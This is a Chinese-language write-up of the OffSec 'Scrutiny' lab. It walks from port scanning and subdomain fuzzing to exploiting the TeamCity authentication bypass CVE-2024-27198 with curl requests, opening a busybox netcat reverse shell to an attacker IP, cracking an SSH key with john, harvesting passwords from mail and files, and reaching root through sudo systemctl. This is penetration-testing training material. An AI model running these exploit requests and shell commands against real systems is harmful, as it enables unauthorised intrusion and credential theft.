OSCP Scrutiny Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Scrutiny

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

子域名枚举 –> TeamCity 权限绕过创建用户 –> 创建 token,开启调试模式,执行反弹 shell –> git 用户权限 –> 用户旗帜

权限提升:

TeamCity 后台用户项目日志泄露私钥文件 –> marcot 用户权限 –> marcot 邮件泄露密码 –> matthewa 用户权限 –> matthewa 遗留文件泄露密码 –> briand 用户权限 –> systemctl sudo 权限 –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
6
7
sudo nmap -p- 192.168.139.91 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
443/tcp closed https

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sudo nmap -p22,25,80,443 -sCV 192.168.139.91

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_ 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: onlyrands.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=onlyrands.com
| Subject Alternative Name: DNS:onlyrands.com
| Not valid before: 2024-06-07T09:33:24
|_Not valid after: 2034-06-05T09:33:24
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: OnlyRands
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp closed https
Service Info: Host: onlyrands.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH、SMTP 服务。

3.2 渗透测试突破边界

3.2.1 TeamCity 权限绕过,创建用户并利用端点调试进行 RCE

访问靶机 HTTP 80 端口,在页面最下方发现域名信息,将其添加至本地域名解析。

1
echo "192.168.139.91\tonlyrands.com" | sudo tee -a /etc/hosts

对网站进行目录枚举、信息搜集均未发现有价值信息,使用 ffuf 工具子域名枚举,得到了 teams 子域。

1
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://onlyrands.com/" -H "host: FUZZ.onlyrands.com" -fs 23375

将子域添加至本地域名解析。

1
echo "192.168.139.91\tteams.onlyrands.com" | sudo tee -a /etc/hosts

访问子域系统,在页面得知系统部署了 TeamCity 2023.05.4 应用。

检索 TeamCity 历史漏洞信息,发现当前版本存在身份验证绕过漏洞(CVE-2024-27198),注意: TeamCity 远程代码执行漏洞(CVE-2023-42793)在 TeamCity 2023.05.4 之前的版本存在,当前靶机环境不存在该漏洞。TeamCity 2023.11.4 之前的版本存在身份绕过漏洞,利用该漏洞可未授权创建用户和 token。

参考链接:

1
2
3
4
5
6
7
8
# CVE-2023-42793
https://www.exploit-db.com/exploits/51884

# CVE-2024-27198
https://www.vicarius.io/vsociety/posts/teamcity-auth-bypass-to-rce-cve-2024-27198-and-cve-2024-27199

# CVE-2024-27198 RCE
https://github.com/W01fh4cker/CVE-2024-27198-RCE

下载漏洞利用脚本:

1
git clone https://github.com/W01fh4cker/CVE-2024-27198-RCE.git

执行漏洞利用脚本时会提示报错 rest.debug.processes.enable ,不过此时已经创建了用户。

1
python3 CVE-2024-27198-RCE.py -t http://teams.onlyrands.com/

由于 TeamCity 应用默认关闭了端点调试,我们需要将其开启才能执行命令,在搜索引擎检索后,在如下链接可获取到帮助信息。

1
https://0xdf.gitlab.io/2024/08/24/htb-runner.html

首先利用创建的用户获取一个 token,这里的 ID 修改为创建用户绑定的 ID。

1
curl -s -X POST 'http://teams.onlyrands.com/any?jsp=/app/rest/users/id:21/tokens/new_token;.jsp'

然后通过 token 开启系统的端点调试,对于该靶场不进行刷新也会生效。

1
curl -X POST 'http://teams.onlyrands.com/admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true' -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.bUwtOUx5ZjJmT2FqMzd2S0d2WHdzVXpOaEUw.NDQ3ODhkYzMtMjRjNy00YjQ3LWIwYjktZjQzOTBlODRhYThi"

再次运行脚本即可使用 git 用户权限执行命令。

为了方便之后操作,创建反弹 shell,并升级为交互式。注意: 靶机存在防火墙规则,很多端口都不能出站,nmap 扫描发现系统 443 端口存在但处于 close 状态,利用该端口可执行反弹 shell。

1
2
3
4
5
# kali
nc -lvnp 443

# shell
busybox nc 192.168.45.234 443 -e /bin/bash

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 Git 日志泄露 marcot 用户私钥

检索 TeamCity 后台项目变更日志时,在 Marco Tillman 的项目中发现了私钥文件。

点击私钥文件并将其下载至本地,注意: 不要忽略邮箱的用户名。

经过尝试无法在本地使用私钥进行连接,上传至靶机,再次连接提示需要输入私钥密码。

1
ssh -i id_rsa marcot@127.0.0.1

使用 ssh2john 转换私钥格式,然后通过 john 工具进行破解,得到了私钥密码。

1
2
ssh2john id_rsa > hash
john hash --wordlist=~/Desktop/rockyou.txt

再次使用私钥连接,得到了 marcot 用户权限,注意: 需要连续输入两次密码。

3.3.2 Marcot 用户邮件泄露 matthewa 用户密码

靶机开放有 smtp 服务,并在/var/mail 目录发现大量用户邮件,marcot 用户邮件泄露了 matthewa 用户密码,并提示我们有一个礼物留给我(文件)。

1
2
cd /var/mail/
cat marcot

使用 su 切换至 matthewa 用户 shell。

1
su matthewa

3.3.3 Matthewa 用户遗留文件泄露 briand 用户密码

使用 find 全局检索 matthewa 用户文件,发现在其家目录存在 .~ 文件,文件内容包含了名为 Dach 的用户密码。

1
2
find / -user matthewa -type f 2>/dev/null
cat /home/freelancers/matthewa/.~

检索/etc/passwd 文件中包含 dach 的用户,发现该用户的登录名为 briand。

1
cat /etc/passwd | grep -i 'dach'

再次使用 su 切换至 briand 用户 shell。

1
su briand

3.3.4 Briand systemctl sudo 提权至 root

briand 用户可以 root 权限执行 systemctl 指令,利用该配置可提升至 root 权限。

1
sudo -l

进入服务状态页面,输入 !/bin/bash 得到了系统 root 权限 shell。

1
sudo -u root /usr/bin/systemctl status teamcity-server.service

3.3.5 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨